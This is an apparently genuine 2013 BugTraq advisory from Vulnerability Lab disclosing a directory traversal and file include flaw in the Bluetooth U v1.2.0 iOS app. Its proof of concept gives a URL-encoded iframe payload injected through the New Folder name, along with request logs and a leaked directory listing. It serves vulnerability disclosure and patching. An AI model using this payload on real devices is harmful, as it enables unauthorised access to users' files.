BugTraq
Bluetooth U v1.2.0 iOS - Directory Traversal Vulnerability Oct 17 2013 12:13PM
Vulnerability Lab (research vulnerability-lab com)
Document Title:
===============
Bluetooth U v1.2.0 iOS - Directory Traversal Vulnerability

References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1111

Release Date:
=============
2013-10-16

Vulnerability Laboratory ID (VL-ID):
====================================
1111

Common Vulnerability Scoring System:
====================================
6.5

Product & Service Introduction:
===============================
Bluetooth U ensure both devices(iPhone&iPod&iPad) transfer files mutually, No file type restrictions.

(Copy of the Homepage: https://itunes.apple.com/de/app/bluetooth-u-share-files-photo/id52626881
5 )

Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered multiple web vulnerabilities in the Bluetooth U v1.2.0 mobile iOS web-application.

Vulnerability Disclosure Timeline:
==================================
2013-10-16: Public Disclosure (Vulnerability Laboratory)

Discovery Status:
=================
Published

Affected Product(s):
====================
Apple AppStore
Product: Bluetooth U - Mobile Web Application 1.2.0

Exploitation Technique:
=======================
Remote

Severity Level:
===============
High

Technical Details & Description:
================================
A local path traversal and file include vulnerability is detected in the Bluetooth U v1.2.0 iOS mobile application (Apple iOS - iPad & iPhone).
The path traversal allows remote attackers to unauthorized switch or access folder to access application, device or system information.

The web vulnerability allows to bypass the regular path to folder generate by exploitation of the `New Folder` add function. Remote attackers
can create a directory by using a manipulated second path with a frame to load. The vulnerability can be exploited by requesting the mobile
application with a manipulated path (folder) value parameter. The redirect will load the wrong path value and redirects the user to the local
mobile application or device system path/file. The malicious context also executes in the DelegateData on deletes too.

Exploitation of the path/directory web vulnerability requires no user interaction and non privileged mobile web.application user account.
Successful exploitation of the vulnerability results in the unauthorized access of remote users to local application path or system/device files.

Vulnerable Module(s):
[+] New Folder - Index

Vulnerable Parameter(s):
[+] chxItem & ChkItem

Proof of Concept (PoC):
=======================
The path/directory-traversl web vulnerability can be exploited by remote attackers without privileged application user account and also
without user interaction. For demonstration or reproduce ...

PoC: Foldername - Index File Dir Listing (Wifi)

<table id="tableContent" border="0" cellpadding="0" cellspacing="0">
<thead>
<tr><th style="padding-left:10px;"><input id="selecteAll" onclick="selectAll(this)"
type="checkbox"></th><th>Name</th><th>Size</th><th>Modified Date</th><th class="del">Delete</th></tr>
</thead>
<tbody id="filelist"><tr><td>
<input name="chxItem" value="%3Ciframe%20src%3D%3Fguid%3D%26type%3Dlist%26password%3D%26date%3
DSun%20Oct%2013%202013%2017%3A46%3A15%20GMT%2B0200%3E"
onclick="selChkItem(this)" type="checkbox"></td>
<td><a href="/%3Ciframe%20src%3D%3Fguid%3D%26type%3Dlist%26password%3D%26date%3
DSun%20Oct%2013%202013%2017%3A46%3A15%20GMT%2B0200%3E
?guid=1520475B-0653-41FA-8072-CC31D2C5A8F2&type=child" class="file"><span style="vertical-align:middle;"><img src="/Folder.png"
style="border:0;vertical-align:middle" ;=""></span><iframe src="?guid=&type=list&password=&date=Sun" oct="" 13="" 2013=""
17:46:15="" gmt+0200=""></a></td><td></td><td>2013-10-13 17:53:31</td><td><input name="commit" type="button" value="Delete"
onclick="DelegateData('/%3Ciframe%20src%3D%3Fguid%3D%26type%3Dlist%26pas
sword%3D%26date%3DSun%20Oct%2013%202013%2017%3A46%3A15%20GMT%2B0200%3E'
,'1520475B-0653-41FA-8072-CC31D2C5A8F2');" class='button' /></form></td></tr></tbody></table></iframe></a></td></tr><tr class="shadow">
<td><input name="chxItem" value="TEST23" onclick="selChkItem(this)" type="checkbox"></td>

--- PoC Session Logs (GET) ---
GET http://192.168.2.104:41498/%3C/BKM
Load Flags[LOAD_DOCUMENT_URI ]
Content Size[0]
Mime Type[application/x-unknown-content-type]

Request Headers:
Host[192.168.2.104:41498]
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
DNT[1]
Referer[http://192.168.2.104:41498/?guid=A0346D33-D3E0-40DF-BCD1-BC3A79B
7F481&type=child&
type=child&date=Sun%20Oct%2013%202013%2016:17:12%20GMT+0200&type=child&d
ate=Sun%20Oct%2013%202013%2016:20:47%20GMT+0200]
Connection[keep-alive]

Response Headers:
Accept-Ranges[bytes]
Content-Length[0]
Date[Sun, 13 Oct 2013 14:24:08 GMT]

--- Referer Context ---
{'isSecret':0,'isSame':1,'isDelete':0,'guid':'00B36887-6D9E-4FE6-BB4F-A8
E200BACC96',
'detail':'Please input password','root':0,'title':'Bluetooth U','items':[{'name':'TEST23',
'isdir':1,'id':0,'filesize':102,'modDate':'2013-10-13 16:19:09'},{'name':'TEST24','isdir':1,
'id':1,'filesize':68,'modDate':'2013-10-13 16:19:14'},{'name':'TEST25','isdir':1,'id':2,
'filesize':68,'modDate':'2013-10-13 16:19:18'},{'name':'s2.png','isdir':0,'id':3,
'filesize':53025,'modDate':'2013-10-13 16:30:57'}],'dir':'/'}

Note: root :)

Solution - Fix & Patch:
=======================
The vulnerability can be patched by a restriction of the filename user input. Encode and parse the input and filter the
index file name dir listing to prevent executions.

Security Risk:
==============
The security risk of the path/directory traversal web vulnerability is estimated as high(+).

Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm (at) evolution-sec (dot) com [email concealed]) [www.vulnerability-lab.com]

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=========================
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